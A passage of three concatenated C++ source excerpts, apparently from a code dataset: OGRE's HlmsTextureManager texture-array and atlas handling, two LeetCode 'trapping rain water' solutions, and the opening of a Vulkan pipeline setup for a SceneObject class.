PixelUtil::isCompressed(mDefaultTextureParameters[mapType].pixelFormat)))
{
//Image formats do not match, and one or both of the formats is compressed
//and therefore we can not convert it to the desired format.
//So we use the src image format instead of the requested image format
LogManager::getSingleton().logMessage(
"WARNING: The input texture " + texName + " is a " + PixelUtil::getFormatName(imageFormat) + " " +
"texture and can not be converted to the requested pixel format of " +
PixelUtil::getFormatName(mDefaultTextureParameters[mapType].pixelFormat) + ". " +
"This will potentially cause both an increase in memory usage and a decrease in performance. " +
"It is highly recommended you convert this texture to the requested format.", LML_NORMAL);
}
else
{
imageFormat = mDefaultTextureParameters[mapType].pixelFormat;
}
}
if( imageFormat == PF_X8R8G8B8 || imageFormat == PF_R8G8B8 ||
imageFormat == PF_X8B8G8R8 || imageFormat == PF_B8G8R8 ||
imageFormat == PF_A8R8G8B8 )
{
#if OGRE_PLATFORM >= OGRE_PLATFORM_ANDROID
imageFormat = PF_A8B8G8R8;
#else
imageFormat = PF_A8R8G8B8;
#endif
}
uint8 numMipmaps = 0;
if( mDefaultTextureParameters[mapType].mipmaps )
{
uint32 heighestRes = std::max( std::max( image->getWidth(), image->getHeight() ),
std::max<uint32>( image->getDepth(),
image->getNumFaces() ) );
#if (ANDROID || (OGRE_COMPILER == OGRE_COMPILER_MSVC && OGRE_COMP_VER < 1800))
numMipmaps = static_cast<uint8>( floorf( logf( static_cast<float>(heighestRes) ) /
logf( 2.0f ) ) );
#else
numMipmaps = static_cast<uint8>( floorf( log2f( static_cast<float>(heighestRes) ) ) );
#endif
}
TextureType texType = TEX_TYPE_2D;
uint width, height, depth, faces;
uint8 baseMipLevel = 0;
width = image->getWidth();
height = image->getHeight();
depth = image->getDepth();
faces = image->getNumFaces();
ushort maxResolution = caps->getMaximumResolution2D();
if( image->hasFlag( IF_3D_TEXTURE ) )
{
maxResolution = caps->getMaximumResolution3D();
texType = TEX_TYPE_3D;
}
else
{
if( image->hasFlag( IF_CUBEMAP ) )
{
maxResolution = caps->getMaximumResolutionCubemap();
//TODO: Cubemap arrays supported since D3D10.1
texType = TEX_TYPE_CUBE_MAP;
}
else if( mDefaultTextureParameters[mapType].packingMethod == TextureArrays )
{
//2D Texture Arrays
texType = TEX_TYPE_2D_ARRAY;
}
}
if( !maxResolution )
{
OGRE_EXCEPT( Exception::ERR_RENDERINGAPI_ERROR,
"Maximum resolution for this type of texture is 0.\n"
"Either a driver bug, or this GPU cannot support 2D/"
"Cubemap/3D texture: " + texName,
"HlmsTextureManager::createOrRetrieveTexture" );
}
//The texture is too big. Take a smaller mip.
//If the texture doesn't have mipmaps, resize it.
if( width > maxResolution || height > maxResolution )
{
bool resize = true;
if( image->getNumMipmaps() )
{
resize = false;
while( (width > maxResolution || height > maxResolution)
&& (baseMipLevel <= image->getNumMipmaps()) )
{
width >>= 1;
height >>= 1;
++baseMipLevel;
}
if( (width > maxResolution || height > maxResolution) )
resize = true;
}
if( resize )
{
baseMipLevel = 0;
Real aspectRatio = (Real)image->getWidth() / (Real)image->getHeight();
if( image->getWidth() >= image->getHeight() )
{
width = maxResolution;
height = static_cast<uint>( floorf( maxResolution / aspectRatio ) );
}
else
{
width = static_cast<uint>( floorf( maxResolution * aspectRatio ) );
height = maxResolution;
}
image->resize( width, height );
}
}
if (image->getNumMipmaps() - baseMipLevel != (numMipmaps - baseMipLevel))
{
if (image->generateMipmaps(mDefaultTextureParameters[mapType].hwGammaCorrection) == false)
{
//unable to generate preferred number of mipmaps, so use mipmaps of the input tex
numMipmaps = image->getNumMipmaps();
LogManager::getSingleton().logMessage(
"WARNING: Could not generate mipmaps for " + texName + ". "
"This can negatively impact performance as the HlmsTextureManager "
"will create more texture arrays than necessary, and the lower mips "
"won't be available. Lack of mipmaps also contribute to aliasing. "
"If this is a compressed DDS/PVR file, bake the mipmaps offline.",
LML_NORMAL );
}
}
//Find an array where we can put it. If there is none, we'll have have to create a new one
TextureArrayVec::iterator dstArrayIt = findSuitableArray( mapType, width, height, depth,
faces, imageFormat,
numMipmaps - baseMipLevel );
if( dstArrayIt == mTextureArrays[mapType].end() )
{
//Create a new array
uint limit = mDefaultTextureParameters[mapType].maxTexturesPerArray;
uint limitSquared = mDefaultTextureParameters[mapType].maxTexturesPerArray;
bool packNonPow2 = mDefaultTextureParameters[mapType].packNonPow2;
float packMaxRatio = mDefaultTextureParameters[mapType].packMaxRatio;
if( !packNonPow2 )
{
if( !Bitwise::isPO2( width ) || !Bitwise::isPO2( height ) )
limit = limitSquared = 1;
}
if( width / (float)height >= packMaxRatio || height / (float)width >= packMaxRatio )
limit = limitSquared = 1;
if( mDefaultTextureParameters[mapType].packingMethod == TextureArrays )
{
limit = 1;
//Texture Arrays
if( texType == TEX_TYPE_3D || texType == TEX_TYPE_CUBE_MAP )
{
//APIs don't support arrays + 3D textures
//TODO: Cubemap arrays supported since D3D10.1
limitSquared = 1;
}
else if( texType == TEX_TYPE_2D_ARRAY )
{
size_t textureSizeNoMips = PixelUtil::getMemorySize( width, height, 1,
imageFormat );
ThresholdVec::const_iterator itThres = mDefaultTextureParameters[mapType].
textureArraysTresholds.begin();
ThresholdVec::const_iterator enThres = mDefaultTextureParameters[mapType].
textureArraysTresholds.end();
while( itThres != enThres && textureSizeNoMips > itThres->minTextureSize )
++itThres;
if( itThres == enThres )
{
itThres = mDefaultTextureParameters[mapType].
textureArraysTresholds.end() - 1;
}
limitSquared = std::min<uint16>( limitSquared, itThres->maxTexturesPerArray );
depth = limitSquared;
}
}
else
{
//UV Atlas
limit = static_cast<uint>( ceilf( sqrtf( (Real)limitSquared ) ) );
limitSquared = limit * limit;
if( texType == TEX_TYPE_3D || texType == TEX_TYPE_CUBE_MAP )
limit = 1; //No UV atlas for 3D and Cubemaps
uint texWidth = width * limit;
uint texHeight = height * limit;
if( texWidth > maxResolution || texHeight > maxResolution )
{
limit = maxResolution / width;
limit = std::min<uint>( limit, maxResolution / height );
width = width * limit;
height = height * limit;
}
limitSquared = limit * limit;
}
TextureArray textureArray( limit, limitSquared, true,
mDefaultTextureParameters[mapType].isNormalMap );
textureArray.texture = TextureManager::getSingleton().createManual(
"HlmsTextureManager/" +
StringConverter::toString( mTextureId++ ),
ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME,
texType, width, height, depth, numMipmaps - baseMipLevel,
imageFormat,
TU_DEFAULT & ~TU_AUTOMIPMAP, 0,
mDefaultTextureParameters[mapType].hwGammaCorrection,
0, BLANKSTRING, false );
mTextureArrays[mapType].push_back( textureArray );
dstArrayIt = mTextureArrays[mapType].end() - 1;
}
uint16 entryIdx = dstArrayIt->createEntry();
uint16 arrayIdx = dstArrayIt - mTextureArrays[mapType].begin();
dstArrayIt->entries[entryIdx] = TextureArray::NamePair( aliasName, texName );
it = mEntries.insert( it, TextureEntry( searchName.name, mapType, arrayIdx, entryIdx ) );
try
{
if( texType != TEX_TYPE_3D && texType != TEX_TYPE_CUBE_MAP )
{
if( mDefaultTextureParameters[mapType].packingMethod == TextureArrays )
{
copyTextureToArray( *image, dstArrayIt->texture, entryIdx,
baseMipLevel, dstArrayIt->isNormalMap );
}
else
{
copyTextureToAtlas( *image, dstArrayIt->texture, entryIdx,
dstArrayIt->sqrtMaxTextures, baseMipLevel,
dstArrayIt->isNormalMap );
}
}
else
{
copy3DTexture( *image, dstArrayIt->texture, 0,
std::max<uint32>( image->getNumFaces(), image->getDepth() ),
baseMipLevel );
}
}
catch( Exception &e )
{
destroyTexture(aliasName);
throw;
}
}
const TextureArray &texArray = mTextureArrays[it->mapType][it->arrayIdx];
retVal.texture = texArray.texture;
if( !texArray.texture->isTextureTypeArray() )
{
retVal.xIdx = it->entryIdx % texArray.sqrtMaxTextures;
retVal.yIdx = it->entryIdx / texArray.sqrtMaxTextures;
retVal.divisor= texArray.sqrtMaxTextures;
}
else
{
retVal.xIdx = it->entryIdx;
retVal.yIdx = 0;
retVal.divisor= 1;
}
}
catch( Exception &e )
{
LogManager::getSingleton().logMessage( LML_CRITICAL, e.getFullDescription() );
if( e.getNumber() != Exception::ERR_FILE_NOT_FOUND )
throw e;
else
{
retVal.texture = mBlankTexture;
retVal.xIdx = 0;
retVal.yIdx = 0;
retVal.divisor = 1;
}
}
return retVal;
}
//-----------------------------------------------------------------------------------
void HlmsTextureManager::destroyTexture( IdString aliasName )
{
TextureEntry searchName( aliasName );
TextureEntryVec::iterator it = std::lower_bound( mEntries.begin(), mEntries.end(), searchName );
if( it != mEntries.end() && it->name == searchName.name )
{
TextureArrayVec::iterator texArrayIt = mTextureArrays[it->mapType].begin() + it->arrayIdx;
texArrayIt->destroyEntry( it->entryIdx );
if( texArrayIt->activeEntries == 0 )
{
//The whole array has no actual content. Destroy the texture.
ResourcePtr texResource = texArrayIt->texture;
TextureManager::getSingleton().remove( texResource );
texArrayIt = efficientVectorRemove( mTextureArrays[it->mapType], texArrayIt );
if( texArrayIt != mTextureArrays[it->mapType].end() )
{
//The last element has now a new index. Update the references in mEntries
const size_t newArrayIdx = texArrayIt - mTextureArrays[it->mapType].begin();
TextureArray::NamePairVec::const_iterator itor = texArrayIt->entries.begin();
TextureArray::NamePairVec::const_iterator end = texArrayIt->entries.end();
while( itor != end )
{
if( !itor->aliasName.empty() )
{
searchName.name = itor->aliasName;
TextureEntryVec::iterator itEntry = std::lower_bound( mEntries.begin(),
mEntries.end(),
searchName );
assert( itEntry != mEntries.end() && itEntry->name == searchName.name );
itEntry->arrayIdx = newArrayIdx;
}
++itor;
}
}
}
mEntries.erase( it );
}
}
//-----------------------------------------------------------------------------------
const String* HlmsTextureManager::findAliasName( const TextureLocation &textureLocation ) const
{
const String *retVal = 0;
for( size_t i=0; i<NUM_TEXTURE_TYPES && !retVal; ++i )
{
TextureArrayVec::const_iterator itor = mTextureArrays[i].begin();
TextureArrayVec::const_iterator end = mTextureArrays[i].end();
while( itor != end && !retVal )
{
if( itor->texture == textureLocation.texture )
{
size_t idx = textureLocation.yIdx * itor->sqrtMaxTextures + textureLocation.xIdx;
if( idx < itor->entries.size() )
retVal = &itor->entries[idx].aliasName;
}
++itor;
}
}
return retVal;
}
//-----------------------------------------------------------------------------------
const String* HlmsTextureManager::findResourceNameFromAlias( IdString aliasName ) const
{
const String *retVal = 0;
TextureEntry searchName( aliasName );
TextureEntryVec::const_iterator it = std::lower_bound( mEntries.begin(), mEntries.end(),
searchName );
if( it != mEntries.end() && it->name == searchName.name )
{
const TextureArray &texArray = mTextureArrays[it->mapType][it->arrayIdx];
retVal = &texArray.entries[it->entryIdx].resourceName;
}
return retVal;
}
//-----------------------------------------------------------------------------------
bool HlmsTextureManager::getTexturePackParameters( const HlmsTexturePack &pack, uint32 &outWidth,
uint32 &outHeight, uint32 &outDepth,
PixelFormat &outPixelFormat ) const
{
HlmsTexturePack::TextureEntryVec::const_iterator itor = pack.textureEntry.begin();
HlmsTexturePack::TextureEntryVec::const_iterator end = pack.textureEntry.end();
while( itor != end )
{
const HlmsTexturePack::TextureEntry &texInfo = *itor;
StringVector::const_iterator itPath = texInfo.paths.begin();
StringVector::const_iterator enPath = texInfo.paths.end();
while( itPath != enPath )
{
try
{
Image image;
image.load( *itPath, ResourceGroupManager::AUTODETECT_RESOURCE_GROUP_NAME );
outWidth = image.getWidth();
outHeight = image.getHeight();
outDepth = std::max<uint32>( image.getDepth(), image.getNumFaces() );
outPixelFormat = image.getFormat();
return true;
}
catch( ... )
{
}
++itPath;
}
++itor;
}
return false;
}
//-----------------------------------------------------------------------------------
void HlmsTextureManager::createFromTexturePack( const HlmsTexturePack &pack )
{
uint32 width = 0, height = 0, depth = 0;
PixelFormat pixelFormat;
uint8 numMipmaps = 0;
if( !getTexturePackParameters( pack, width, height, depth, pixelFormat ) )
{
OGRE_EXCEPT( Exception::ERR_INVALIDPARAMS, "Could not derive the texture properties "
"for texture pack '" + pack.name + "'",
"HlmsTextureManager::createFromTexturePack" );
}
if( pack.pixelFormat != PF_UNKNOWN )
{
pixelFormat = pack.pixelFormat;
}
else
{
if( pixelFormat == PF_X8R8G8B8 || pixelFormat == PF_R8G8B8 ||
pixelFormat == PF_X8B8G8R8 || pixelFormat == PF_B8G8R8 ||
pixelFormat == PF_A8R8G8B8 )
{
pixelFormat = PF_A8B8G8R8;
}
}
if( pack.hasMipmaps )
{
uint32 heighestRes = std::max( std::max( width, height ), depth );
#if (ANDROID || (OGRE_COMPILER == OGRE_COMPILER_MSVC && OGRE_COMP_VER < 1800))
numMipmaps = static_cast<uint8>( floorf( logf( static_cast<float>(heighestRes) ) / logf( 2.0f ) ) );
#else
numMipmaps = static_cast<uint8>( floorf( log2f( static_cast<float>(heighestRes) ) ) );
#endif
}
if( pack.textureType == TEX_TYPE_CUBE_MAP )
{
HlmsTexturePack::TextureEntryVec::const_iterator itor = pack.textureEntry.begin();
HlmsTexturePack::TextureEntryVec::const_iterator end = pack.textureEntry.end();
while( itor != end )
{
const HlmsTexturePack::TextureEntry &texInfo = *itor;
TextureEntry searchName( texInfo.name );
TextureEntryVec::iterator it = std::lower_bound( mEntries.begin(), mEntries.end(),
searchName );
if( it != mEntries.end() && it->name == searchName.name )
{
LogManager::getSingleton().logMessage( "ERROR: A texture by the name '" +
texInfo.name + "' already exists!" );
++itor;
continue;
}
assert( !texInfo.paths.empty() ) ;
if( texInfo.paths.size() != 1 )
{
//Multiple files
assert( !(texInfo.paths.size() % 6) &&
"For cubemaps, the number of files must be multiple of 6!" );
Image cubeMap;
size_t cubeMapSize = PixelUtil::getMemorySize( width, height, 6, pixelFormat );
cubeMap.loadDynamicImage( OGRE_ALLOC_T( uchar, cubeMapSize, MEMCATEGORY_GENERAL ),
width, height, 1, pixelFormat, true, 6 );
for( size_t i=0; i<6; ++i )
{
Image image;
image.load( texInfo.paths[i],
ResourceGroupManager::AUTODETECT_RESOURCE_GROUP_NAME );
if( image.getWidth() != width && image.getHeight() != height )
{
OGRE_EXCEPT( Exception::ERR_INVALIDPARAMS, texInfo.paths[i] +
": All textures in the same pack must have the "
"same resolution!",
"HlmsTextureManager::createFromTexturePack" );
}
PixelUtil::bulkPixelConversion( image.getPixelBox( 0 ), cubeMap.getPixelBox( i ) );
}
TextureArray textureArray( 1, 1, false, false );
textureArray.texture = TextureManager::getSingleton().createManual(
"HlmsTextureManager/" +
StringConverter::toString( mTextureId++ ),
ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME,
pack.textureType, width, height, depth, numMipmaps,
pixelFormat, TU_DEFAULT & ~TU_AUTOMIPMAP, 0,
pack.hwGammaCorrection, 0, BLANKSTRING, false );
if( pack.hasMipmaps )
{
if( !cubeMap.generateMipmaps( pack.hwGammaCorrection, Image::FILTER_GAUSSIAN ) )
{
LogManager::getSingleton().logMessage( "Couldn't generate mipmaps for '" +
texInfo.name + "'", LML_CRITICAL );
}
if( !pack.exportLocation.empty() )
cubeMap.save( pack.exportLocation + "/" + texInfo.name + ".dds" );
}
copy3DTexture( cubeMap, textureArray.texture, 0, 6, 0 );
it = mEntries.insert( it, TextureEntry( searchName.name, TEXTURE_TYPE_ENV_MAP,
mTextureArrays[TEXTURE_TYPE_ENV_MAP].size(), 0 ) );
textureArray.entries.push_back( TextureArray::NamePair( texInfo.name,
texInfo.name ) );
mTextureArrays[TEXTURE_TYPE_ENV_MAP].push_back( textureArray );
}
else
{
OGRE_EXCEPT( Exception::ERR_NOT_IMPLEMENTED,
"Oops! Work in Progress, sorry!",
"HlmsTextureManager::createFromTexturePack" );
//TODO
/*if( image.getNumMipmaps() != numMipmaps )
{
image.generateMipmaps();
}*/
}
++itor;
}
}
else
{
OGRE_EXCEPT( Exception::ERR_NOT_IMPLEMENTED,
"Oops! Work in Progress, sorry!",
"HlmsTextureManager::createFromTexturePack" );
}
}
//-----------------------------------------------------------------------------------
HlmsTextureManager::TextureLocation HlmsTextureManager::getBlankTexture(void) const
{
TextureLocation retVal;
retVal.texture = mBlankTexture;
retVal.xIdx = 0;
retVal.yIdx = 0;
retVal.divisor = 1;
return retVal;
}
//-----------------------------------------------------------------------------------
void HlmsTextureManager::dumpMemoryUsage( Log* log ) const
{
const char *typeNames[NUM_TEXTURE_TYPES] =
{
"DIFFUSE",
"MONOCHROME",
"NORMALS",
"ENV_MAP",
"DETAIL",
"DETAIL_NORMAL_MAP",
"NON_COLOR_DATA"
};
size_t bytesPerCategory[NUM_TEXTURE_TYPES];
memset( bytesPerCategory, 0, sizeof( bytesPerCategory ) );
Log* logActual = log == NULL ? LogManager::getSingleton().getDefaultLog() : log;
logActual->logMessage(
"================================"
"Start dump of HlmsTextureManager"
"================================",
LML_CRITICAL );
logActual->logMessage(
"|#|Type|Width|Height|Depth|Format|HW Gamma|Mipmaps|Size in bytes|"
"Num. active textures|Total texture capacity|Texture Names",
LML_CRITICAL );
for( size_t i=0; i<NUM_TEXTURE_TYPES; ++i )
{
TextureArrayVec::const_iterator itor = mTextureArrays[i].begin();
TextureArrayVec::const_iterator end = mTextureArrays[i].end();
String row;
while( itor != end )
{
size_t textureSize = 0;
uint32 width = itor->texture->getWidth();
uint32 height = itor->texture->getHeight();
uint32 depth = itor->texture->getDepth();
for( size_t j=0; j<(size_t)(itor->texture->getNumMipmaps() + 1); ++j )
{
textureSize += PixelUtil::getMemorySize( width, height, depth,
itor->texture->getFormat() ) *
itor->texture->getNumFaces();
width = std::max<uint32>( width >> 1, 1 );
height = std::max<uint32>( height >> 1, 1 );
if( !itor->texture->isTextureTypeArray() )
depth = std::max<uint32>( depth >> 1, 1 );
}
row += "|";
row += StringConverter::toString( (size_t)(itor - mTextureArrays[i].begin()) ) + "|";
row += String( typeNames[i] ) + "|";
row += StringConverter::toString( itor->texture->getWidth() ) + "|";
row += StringConverter::toString( itor->texture->getHeight() ) + "|";
row += StringConverter::toString( itor->texture->getDepth() ) + "|";
row += PixelUtil::getFormatName( itor->texture->getFormat() ) + "|";
row += itor->texture->isHardwareGammaEnabled() ? "Yes|" : "No|";
row += StringConverter::toString( itor->texture->getNumMipmaps() ) + "|";
row += StringConverter::toString( textureSize ) + "|";
row += StringConverter::toString( itor->activeEntries ) + "|";
row += StringConverter::toString( itor->entries.size() );
TextureArray::NamePairVec::const_iterator itEntry = itor->entries.begin();
TextureArray::NamePairVec::const_iterator enEntry = itor->entries.end();
while( itEntry != enEntry )
{
row += "|" + itEntry->aliasName;
++itEntry;
}
logActual->logMessage( row, LML_CRITICAL );
row.clear();
bytesPerCategory[i] += textureSize;
++itor;
}
}
logActual->logMessage( "|Size in MBs per category:", LML_CRITICAL );
size_t totalBytes = 0;
for( size_t i=0; i<NUM_TEXTURE_TYPES; ++i )
{
logActual->logMessage( "|" + String( typeNames[i] ) + "|" +
StringConverter::toString( bytesPerCategory[i] /
(1024.0f * 1024.0f) ),
LML_CRITICAL );
totalBytes += bytesPerCategory[i];
}
logActual->logMessage( "|Total MBs used:|" + StringConverter::toString( totalBytes /
(1024.0f * 1024.0f) ),
LML_CRITICAL );
logActual->logMessage(
"================================"
"End dump of HlmsTextureManager"
"================================",
LML_CRITICAL );
}
//-----------------------------------------------------------------------------------
//-----------------------------------------------------------------------------------
//-----------------------------------------------------------------------------------
uint16 HlmsTextureManager::TextureArray::createEntry(void)
{
assert( activeEntries < maxTextures );
++activeEntries;
TextureArray::NamePairVec::const_iterator itor = entries.begin();
TextureArray::NamePairVec::const_iterator end = entries.end();
while( itor != end && !itor->aliasName.empty() )
++itor;
return static_cast<uint16>( itor - entries.begin() );
}
//-----------------------------------------------------------------------------------
void HlmsTextureManager::TextureArray::destroyEntry( uint16 entry )
{
assert( activeEntries != 0 );
--activeEntries;
entries[entry].aliasName.clear();
entries[entry].resourceName.clear();
}
//-----------------------------------------------------------------------------------
}
| 50,956 | 13,160 |
// OJ: https://leetcode.com/problems/trapping-rain-water/
// Author: github.com/lzl124631x
// Time: O(N)
// Space: O(N)
class Solution {
public:
int trap(vector<int>& A) {
int N = A.size(), ans = 0;
vector<int> left(N, 0), right(N, 0);
for (int i = 1; i < N; ++i)
left[i] = max(left[i - 1], A[i - 1]);
for (int i = N - 2; i >= 0; --i)
right[i] = max(right[i + 1], A[i + 1]);
for (int i = 1; i < N - 1; ++i)
ans += max(0, min(left[i], right[i]) - A[i]);
return ans;
}
};
//Or
// Problem: https://leetcode.com/problems/trapping-rain-water/
// Author: github.com/ankuralld5999
// Time: O(N)
// Space: O(N)
class Solution {
public:
int trap(vector<int>& A) {
int N = A.size(), ans = 0, mx = 0, left = 0;
vector<int> right(N);
for (int i = N - 2; i >= 0; --i) right[i] = max(right[i + 1], A[i + 1]);
for (int i = 0; i < N; ++i) {
ans += max(0, min(left, right[i]) - A[i]);
left = max(left, A[i]);
}
return ans;
}
};
| 1,088 | 467 |
#include "SceneObject.hpp"
#include "CommandBuffer.hpp"
#include "Material.hpp"
#include "RenderWindow.hpp"
#include "Scene.hpp"
#include "StandardMesh.hpp"
#include <iostream>
namespace cdm
{
SceneObject::Pipeline::Pipeline(Scene& s, StandardMesh& mesh,
MaterialInterface& material,
VkRenderPass renderPass)
: scene(&s),
mesh(&mesh),
material(&material),
renderPass(renderPass)
{
auto& rw = material.material().renderWindow();
auto& vk = rw.device();
#pragma region vertexShader
{
using namespace sdw;
VertexWriter writer;
Scene::SceneUbo sceneUbo(writer);
Scene::ModelUbo modelUbo(writer);
Scene::ModelPcb modelPcb(writer);
auto shaderVertexInput = mesh.shaderVertexInput(writer);
auto fragPosition = writer.declOutput<Vec3>("fragPosition", 0);
auto fragUV = writer.declOutput<Vec2>("fragUV", 1);
auto fragNormal = writer.declOutput<Vec3>("fragNormal", 2);
auto fragTangent = writer.declOutput<Vec3>("fragTangent", 3);
auto fragDistance = writer.declOutput<sdw::Float>("fragDistance", 4);
auto out = writer.getOut();
auto materialVertexShaderBuildData =
material.material().instantiateVertexShaderBuildData();
auto materialVertexFunction = material.material().vertexFunction(
writer, materialVertexShaderBuildData.get());
writer.implementMain([&]() {
auto model = modelUbo.getModel()[modelPcb.getModelId()];
auto view = sceneUbo.getView();
auto proj = sceneUbo.getProj();
fragPosition =
(model * vec4(shaderVertexInput.inPosition, 1.0_f)).xyz();
fragUV = shaderVertexInput.inUV;
Locale(model3, mat3(vec3(model[0][0], model[0][1], model[0][2]),
vec3(model[1][0], model[1][1], model[1][2]),
vec3(model[2][0], model[2][1], model[2][2])));
Locale(normalMatrix, transpose(inverse(model3)));
// Locale(normalMatrix, transpose((model3)));
fragNormal = shaderVertexInput.inNormal;
materialVertexFunction(fragPosition, fragNormal);
fragNormal = normalize(normalMatrix * fragNormal);
fragTangent =
normalize(normalMatrix * shaderVertexInput.inTangent);
// fragNormal = normalize((model * vec4(fragNormal, 0.0_f)).xyz());
// fragTangent = normalize(
// (model * vec4(shaderVertexInput.inTangent, 0.0_f)).xyz());
fragTangent = normalize(fragTangent -
dot(fragTangent, fragNormal) * fragNormal);
// Locale(B, cross(fragNormal, fragTangent));
// Locale(TBN, transpose(mat3(fragTangent, B, fragNormal)));
// fragTanLightPos = TBN * sceneUbo.getLightPos();
// fragTanViewPos = TBN * sceneUbo.getViewPos();
// fragTanFragPos = TBN * fragPosition;
fragDistance =
(view * model * vec4(shaderVertexInput.inPosition, 1.0_f)).z();
out.vtx.position = proj * view * model *
vec4(shaderVertexInput.inPosition, 1.0_f);
});
std::vector<uint32_t> bytecode =
spirv::serialiseSpirv(writer.getShader());
vk::ShaderModuleCreateInfo createInfo;
createInfo.codeSize = bytecode.size() * sizeof(*bytecode.data());
createInfo.pCode = bytecode.data();
vertexModule = vk.create(createInfo);
if (!vertexModule)
{
std::cerr << "error: failed to create vertex shader module"
<< std::endl;
abort();
}
}
#pragma endregion
#pragma region fragmentShader
{
using namespace sdw;
FragmentWriter writer;
Scene::SceneUbo sceneUbo(writer);
Scene::ModelPcb modelPcb(writer);
auto fragPosition = writer.declInput<sdw::Vec3>("fragPosition", 0);
auto fragUV = writer.declInput<sdw::Vec2>("fragUV", 1);
auto fragNormal = writer.declInput<sdw::Vec3>("fragNormal", 2);
auto fragTangent = writer.declInput<sdw::Vec3>("fragTangent", 3);
auto fragDistance = writer.declInput<sdw::Float>("fragDistance", 4);
auto fragColor = writer.declOutput<Vec4>("fragColor", 0);
auto fragID = writer.declOutput<UInt>("fragID", 1);
auto fragNormalDepth = writer.declOutput<Vec4>("fragNormalDepth", 2);
auto fragPos = writer.declOutput<Vec3>("fragPos", 3);
auto fragmentShaderBuildData =
material.material().instantiateFragmentShaderBuildData();
auto materialFragmentFunction = material.material().fragmentFunction(
writer, fragmentShaderBuildData.get());
auto shadingModelFragmentShaderBuildData =
material.material()
.shadingModel()
.instantiateFragmentShaderBuildData();
auto combinedMaterialFragmentFunction =
material.material()
.shadingModel()
.combinedMaterialFragmentFunction(
writer, materialFragmentFunction,
shadingModelFragmentShaderBuildData.get(), sceneUbo);
writer.implementMain([&]() {
Locale(materialInstanceId, modelPcb.getMaterialInstanceId() + 1_u);
materialInstanceId -= 1_u;
Locale(normal, normalize(fragNormal));
Locale(tangent, normalize(fragTangent));
fragColor = combinedMaterialFragmentFunction(
materialInstanceId, fragPosition, fragUV, normal, tangent);
fragID = modelPcb.getModelId();
fragNormalDepth.xyz() = fragNormal;
fragNormalDepth.w() = fragDistance;
fragPos = fragPosition;
});
std::vector<uint32_t> bytecode =
spirv::serialiseSpirv(writer.getShader());
vk::ShaderModuleCreateInfo createInfo;
createInfo.codeSize = bytecode.size() * sizeof(*bytecode.data());
createInfo.pCode = bytecode.data();
fragmentModule = vk.create(createInfo);
if (!fragmentModule)
{
std::cerr << "error: failed to create fragment shader module"
<< std::endl;
abort();
}
}
#pragma endregion
#pragma region pipeline layout
VkPushConstantRange pcRange{};
pcRange.size = sizeof(PcbStruct);
pcRange.stageFlags =
VK_SHADER_STAGE_VERTEX_BIT | VK_SHADER_STAGE_FRAGMENT_BIT;
std::array descriptorSetLayouts{
scene.get()->descriptorSetLayout(),
material.material().shadingModel().m_descriptorSetLayout.get(),
material.material().descriptorSetLayout(),
};
vk::PipelineLayoutCreateInfo pipelineLayoutInfo;
pipelineLayoutInfo.setLayoutCount = uint32_t(descriptorSetLayouts.size());
pipelineLayoutInfo.pSetLayouts = descriptorSetLayouts.data();
// pipelineLayoutInfo.setLayoutCount = 0;
// pipelineLayoutInfo.pSetLayouts = nullptr;
pipelineLayoutInfo.pushConstantRangeCount = 1;
pipelineLayoutInfo.pPushConstantRanges = &pcRange;
// pipelineLayoutInfo.pushConstantRangeCount = 0;
// pipelineLayoutInfo.pPushConstantRanges = nullptr;
pipelineLayout = vk.create(pipelineLayoutInfo);
if (!pipelineLayout)
{
std::cerr << "error: failed to create pipeline layout" << std::endl;
abort();
}
#pragma endregion
#pragma region pipeline
vk::PipelineShaderStageCreateInfo vertShaderStageInfo;
vertShaderStageInfo.stage = VK_SHADER_STAGE_VERTEX_BIT;
vertShaderStageInfo.module = vertexModule;
vertShaderStageInfo.pName = "main";
vk::PipelineShaderStageCreateInfo fragShaderStageInfo;
fragShaderStageInfo.stage = VK_SHADER_STAGE_FRAGMENT_BIT;
fragShaderStageInfo.module = fragmentModule;
fragShaderStageInfo.pName = "main";
std::array shaderStages = { vertShaderStageInfo, fragShaderStageInfo };
auto vertexInputState = mesh.vertexInputState();
vk::PipelineInputAssemblyStateCreateInfo inputAssembly;
inputAssembly.topology = VK_PRIMITIVE_TOPOLOGY_TRIANGLE_LIST;
// inputAssembly.topology = VK_PRIMITIVE_TOPOLOGY_POINT_LIST;
inputAssembly.primitiveRestartEnable = false;
VkViewport viewport = {};
viewport.x = 0.0f;
viewport.y = 0.0f;
/// TODO get from render pass
viewport.width = float(1280);
viewport.height = float(720);
viewport.minDepth = 0.0f;
viewport.maxDepth = 1.0f;
VkRect2D scissor = {};
scissor.offset = { 0, 0 };
/// TODO get from render pass
scissor.extent.width = 1280;
scissor.extent.height = 720;
vk::PipelineViewportStateCreateInfo viewportState;
viewportState.viewportCount = 1;
viewportState.pViewports = &viewport;
viewportState.scissorCount = 1;
viewportState.pScissors = &scissor;
vk::PipelineRasterizationStateCreateInfo rasterizer;
rasterizer.depthClampEnable = false;
rasterizer.rasterizerDiscardEnable = false;
rasterizer.polygonMode = VK_POLYGON_MODE_FILL;
// rasterizer.polygonMode = VK_POLYGON_MODE_LINE;
rasterizer.lineWidth = 1.0f;
rasterizer.cullMode = VK_CULL_MODE_BACK_BIT;
rasterizer.frontFace = VK_FRONT_FACE_COUNTER_CLOCKWISE;
rasterizer.depthBiasEnable = false;
rasterizer.depthBiasConstantFactor = 0.0f;
rasterizer.depthBiasClamp = 0.0f;
rasterizer.depthBiasSlopeFactor = 0.0f;
/// TODO get from render pass
vk::PipelineMultisampleStateCreateInfo multisampling;
multisampling.sampleShadingEnable = false;
multisampling.rasterizationSamples = VK_SAMPLE_COUNT_4_BIT;
multisampling.minSampleShading = 1.0f;
multisampling.pSampleMask = nullptr;
multisampling.alphaToCoverageEnable = false;
multisampling.alphaToOneEnable = false;
/// TODO get from render pass and material
VkPipelineColorBlendAttachmentState colorBlendAttachment = {};
colorBlendAttachment.colorWriteMask =
VK_COLOR_COMPONENT_R_BIT | VK_COLOR_COMPONENT_G_BIT |
VK_COLOR_COMPONENT_B_BIT | VK_COLOR_COMPONENT_A_BIT;
colorBlendAttachment.blendEnable = false;
colorBlendAttachment.srcColorBlendFactor = VK_BLEND_FACTOR_ONE;
colorBlendAttachment.dstColorBlendFactor = VK_BLEND_FACTOR_ZERO;
colorBlendAttachment.colorBlendOp = VK_BLEND_OP_ADD;
colorBlendAttachment.srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE;
colorBlendAttachment.dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO;
colorBlendAttachment.alphaBlendOp = VK_BLEND_OP_ADD;
